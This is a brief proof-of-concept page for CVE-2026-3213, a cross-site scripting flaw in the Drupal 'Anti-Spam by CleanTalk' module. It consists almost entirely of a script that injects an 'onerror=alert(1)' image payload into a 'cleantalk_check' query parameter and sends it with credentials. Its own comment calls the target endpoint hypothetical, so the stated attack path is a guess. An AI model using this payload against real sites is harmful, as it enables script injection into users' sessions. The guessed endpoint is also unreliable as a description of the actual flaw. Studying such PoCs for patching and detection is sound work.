CVE-2026-3213 Drupal Anti-Spam by CleanTalk XSS漏洞

<!-- PoC for CVE-2026-3213 Vulnerability: Stored/Reflected XSS in Drupal Anti-Spam by CleanTalk --> <script> // Payload to test XSS vulnerability var payload = '<img src=x onerror=alert(1)>'; // Example target endpoint (hypothetical based on plugin structure) var targetUrl = 'http://target-site/?cleantalk_check=' + encodeURIComponent(payload); // Simulate request fetch(targetUrl, { method: 'GET', credentials: 'include' }).then(response => { if (response.ok) { console.log('Payload sent. Check if alert triggers on page render.'); } }); </script>